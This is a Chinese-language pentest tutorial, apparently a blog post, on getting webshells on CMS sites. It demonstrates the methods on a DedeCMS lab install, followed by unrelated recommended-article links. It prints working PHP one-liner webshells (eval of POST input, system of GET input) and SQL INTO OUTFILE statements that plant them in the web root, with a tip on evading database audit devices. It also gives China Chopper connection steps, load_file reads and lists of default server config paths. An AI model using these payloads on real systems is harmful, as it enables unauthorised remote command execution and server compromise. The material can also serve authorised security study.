获取Webshell方法

CMS系统指的是内容管理系统。已经有别人开发好了整个网站的前后端,使用者只需要部署cms,然后通过后台添加数据,修改图片等工作,就能搭建好一个的WEB系统。

CMS获取Webshell****方法

WordPress后台拿Webshell

phpcms拿Webshell

非CMS获取Webshell方法

更多的时候企业并不使用开源的CMS,而是选择自己开发源代码

参考:获取WEBshell思路 · 白帽与安全 · 看云

获取方法

1、数据库备份获取Webshell

2、抓包上传获取Webshell

3、Sql命令获取Webshell

4、模板修改获取Webshell

5、插入一句话获取Webshell

6、修改上传类型获取Webshell

示例

织梦dedecms演示

文件管理器新建木马文件

也可以用上传文件上传免杀的一句话木马

文件内容一句话木马:<?php @eval($_POST['q.']);?>

菜刀连接网址http://192.168.246.11/dedecms/uploads/q.php就可以获得受害机文件

如果没有文件管理器可以在模块的地方安装一下,用完在卸载就可以

标签源码编辑

或者直接新建一个标签源码,输入木马。就可以直接访问

模版修改

修改,在代码里面插入木马。

注意这里后缀是.html

Sql命令获取Webshell

思路:利用sql语句插入语句然后输出到指定木马php

如果提示没有权限,需要配置下my.ini内容secure_file_priv='',这样就可以输出到指定文件

在执行语句就把木马放到指定文件了

因为上面的命令会创建表,如果有数据库审计设备会被发现,所以可以执行以下输入木马语句,避免对数据库操作

select '<?php @eval($_POST[pass]);?>' INTO OUTFILE 'C:\\php\\WWW\\dedecms\\1.php';

echo命令也可以:

select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'C:\\php\\WWW\\dedecms\\1.php'

读路径:

select load_file('c://windows//system32//inetsrv//MetaBase.xml ');

默认路径

Windows:
c:\windows\php.ini php配置文件
c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件

Linux:
/etc/php.ini php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件

其他获取webshell方法

1、Tomcat获取Webshell

2、Weblogic获取Webshell

3、JBoss获取Webshell

相关推荐
编程牛马姐7 小时前
独立站SEO流量增长:提高Google排名的优化方法
前端·javascript·网络
2401_873479407 小时前
如何从零搭建私有化IP查询平台?数据采集、清洗、建库到API发布全流程
服务器·网络·tcp/ip
FS_Marking9 小时前
CWDM vs DWDM:区别是什么?
网络
Vis-Lin9 小时前
BLE 协议栈:ATT 协议详解
网络·物联网·网络协议·iot·ble
lcxc10 小时前
Mac M4超流畅运行Win版同花顺教程
网络
bluechips·zhao10 小时前
帝国CMS 8.0 安全审计分析——代码审计
安全·网络安全·代码审计
whuhewei10 小时前
为什么客户端不存在跨域问题
前端·安全
W.A委员会10 小时前
常见网络攻击
网络·http·网络安全
zmj32032410 小时前
CAN数据帧详解
网络·can·canfd·数据帧
Flittly10 小时前
【SpringSecurity新手村系列】(4)验证码功能实现
java·spring boot·安全·spring